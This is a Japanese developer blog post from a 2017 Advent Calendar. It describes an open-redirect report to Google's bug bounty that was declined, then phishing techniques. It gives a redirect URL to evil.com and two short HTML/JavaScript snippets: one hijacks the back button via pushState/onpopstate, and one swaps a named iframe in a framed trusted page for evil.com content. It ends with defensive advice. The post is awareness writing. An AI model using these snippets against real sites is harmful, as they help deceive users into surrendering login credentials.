（Yanik Chauvin / Shutterstock.com）
こんにちは、中山です（写真は私ではありません）。
これは TECHSCORE Advent Calendar 2017 の 10 日目の記事です。
以前、あわよくばと Google の脆弱性報償金プログラムに応募したことがあります。
こちらが当時 Google に報告した内容です。
Google ad serviece has a security issue.
(open-redirection)Steps to reproduce the vulnerability:
1. http://pagead2.googlesyndication.com/pagead/imgad?id=CICAgIDQp961eBDYBRhaMggPIKH46gXDKg&clickTAG=https://evil.com/
2. click ad
3. move to https://evil.com/
確認したところ 2017/11/26 時点でも上記手順は再現可能（Flash を有効にしている場合）でした。
Google の保持するドメインと Google の自社稿の信頼性に便乗し、悪意あるページに誘導（いわゆる Phishing）可能である、という指摘です。
これに対する回答は以下の通りでした。
Thanks for your email.
In this particular case, we believe the usability and security benefits of a well-implemented and carefully monitored URL redirector tend to outweigh the perceived risks.
For a more detailed explanation, check the URL redirection section here: http://www.google.com/about/appsecurity/reward-program/#notavuln
というわけで、残念ながら報酬金はゲットできませんでした（笑）。
私の指摘は、ありがちな低リスク問題とのことです。
遷移先を作り込んだ Google の偽ページにすることで、騙されるケースがあるのではと考えましたが、広告プロダクトに使われる pagead2.googlesyndication.com ドメインでは確かに低リスクですね。
そんなわけで、今回は Phishing に関する考察を述べたいと思います。
Phishing x pushState
以下のようなページ遷移の場合、多くの人は信頼できるページに戻ることを期待しています。
- 信頼できるページＡ（trust.com）を閲覧
- リンクからページＢ（decoy.com）に遷移
- ヒストリバック
- （ ... ページＡのはず !?）
ですが、実際には以下のような遷移となっている可能性があります。
- 信頼できるページＡ（trust.com）を閲覧
- リンクからページＢ（decoy.com）に遷移
- この時Ｂはダミーの URL を history.pushState
- アドレスバーにはダミーの URL を表示される
- ヒストリバック
- 元々のＢの URL に戻る
- この時Ｂは onpopstate イベントを実行
- ページＡを巧妙に模したページＣ（evil.com）に強制的に遷移
- ユーザーは期せずしてページＣ（evil.com）を閲覧
（URL を確認しないとページＡだと信じてしまうかもしれない !!）
ちなみにページＢはこんな感じです。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<html> ... <p> contents (decoy.com) </p> ... <script> history.pushState({}, '', 'dummy-name.html'); window.onpopstate = function (e) { // history back ---> evil.com (looks like trust.com) location.href = 'https://evil.com/'; } </script> </html> |
ページＡに UGC（ユーザー生成コンテンツ）として外部リンクを書き込むことが出来たり、ページＡに掲載された広告からページＢに誘導することが出来た場合、このような遷移も可能になります。
この（ページＡを巧妙に模した）ページＣのタイミングで「セッション切れでログアウトしました。再度ログインしてください」とログイン情報の再入力を促した場合、促されるままに入力してしまう人もいるかもしれません。
Phishing x iframe
全てを偽造したページと比較して、本物のページ（の一部）が書き換えられたケースでは、偽造に気付けないリスクが高まります。
例えばページＡ（trust.com）が以下の条件
- Ａは iframe 内に表示されることを拒否（X-Frame-Options: DENY）していない
- Ａはコンテンツ内に name 属性の定義された iframe 要素（ｆ）を持つ
を満たす場合ｆのコンテンツを差し替えることが可能です。
具体的には以下のようなコンテンツを用いることで
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<body> <iframe src='https://trust.com/'></iframe> <style type='text/css'> BODY { margin: 0px; padding: 0px; } IFRAME { margin: 0px; padding: 0px; border-style: none; width: 100%; height: 100%; } </style> <script> window.setTimeout(function() { // REPLACE_TARGET はｆの name 属性値 window.open('https://evil.com/', 'REPLACE_TARGET'); }, 1000); </script> </body> |
見た目はページＡ（trust.com）のまま、一部（ｆ）を evil.com のコンテンツに差し替えることができます。
さらにログイン機能を有するサービスの場合、ページＡ（ログイン中）はアカウント情報などが表示されるため、自分が騙されていることに気付けなくなるリスクも高まります。
実際に、上記条件を満たすサービスを見つけることは難しくありません。
とある実在するページ（モザイクフィルタを適用してます）で
下方の iframe で表示されているプレスリリース部分を差し替えることができました。
このサービスにはログイン機能もあるため、ログインセッションを維持したまま罠ページに誘導された場合、多くのユーザーが騙されてしまう危険性があります。
蛇足ですが、ブラウザのウインドウ操作（上述 window.open など）に関する仕様は HTML5 の 5.1 Browsing contexts や 5.1.4 Security を参考にしてください。
Phishing x SSL/EVSSL
（https://news.netcraft.com/archives/2017/05/17/phishing-sites-react-promptly-to-new-browser-changes.html）
2017/05/19 に NETCRAFT で公開された資料 から HTTPS を用いた Phishing サイトの割合が増加傾向にあることが分かります。
これを受け、身元保証を強化した EVSSL を採用するサービスも増えてくるでしょう。
一方で HTTPS 共用サービス（弊社の Synergy! FORM 機能も該当します）においては EVSSL の採用によってリスクを高めてしまう懸念があります。
悪意ある事業者が HTTPS（EVSSL）共用サービスを利用し、緑色のアドレスバーでエンドユーザーのミスリードを狙う可能性があるからです。
複数サービス（事業者）のドメインを横断した信頼関係を明示するプロトコルなり UI なりを作れるといいのですが（→ これについては別途考察してみたいと思います）。
まとめ
- 特別な理由がなければ X-Frame-Options は使いましょう
- ページＡ（trust.com）であるはず、という思い込みは捨てましょう
- 鍵マークでも（サービスによっては緑色のアドレスバーでも）リスクがあることを理解しましょう
- 兎にも角にも、まずは URL を確認しましょう !!
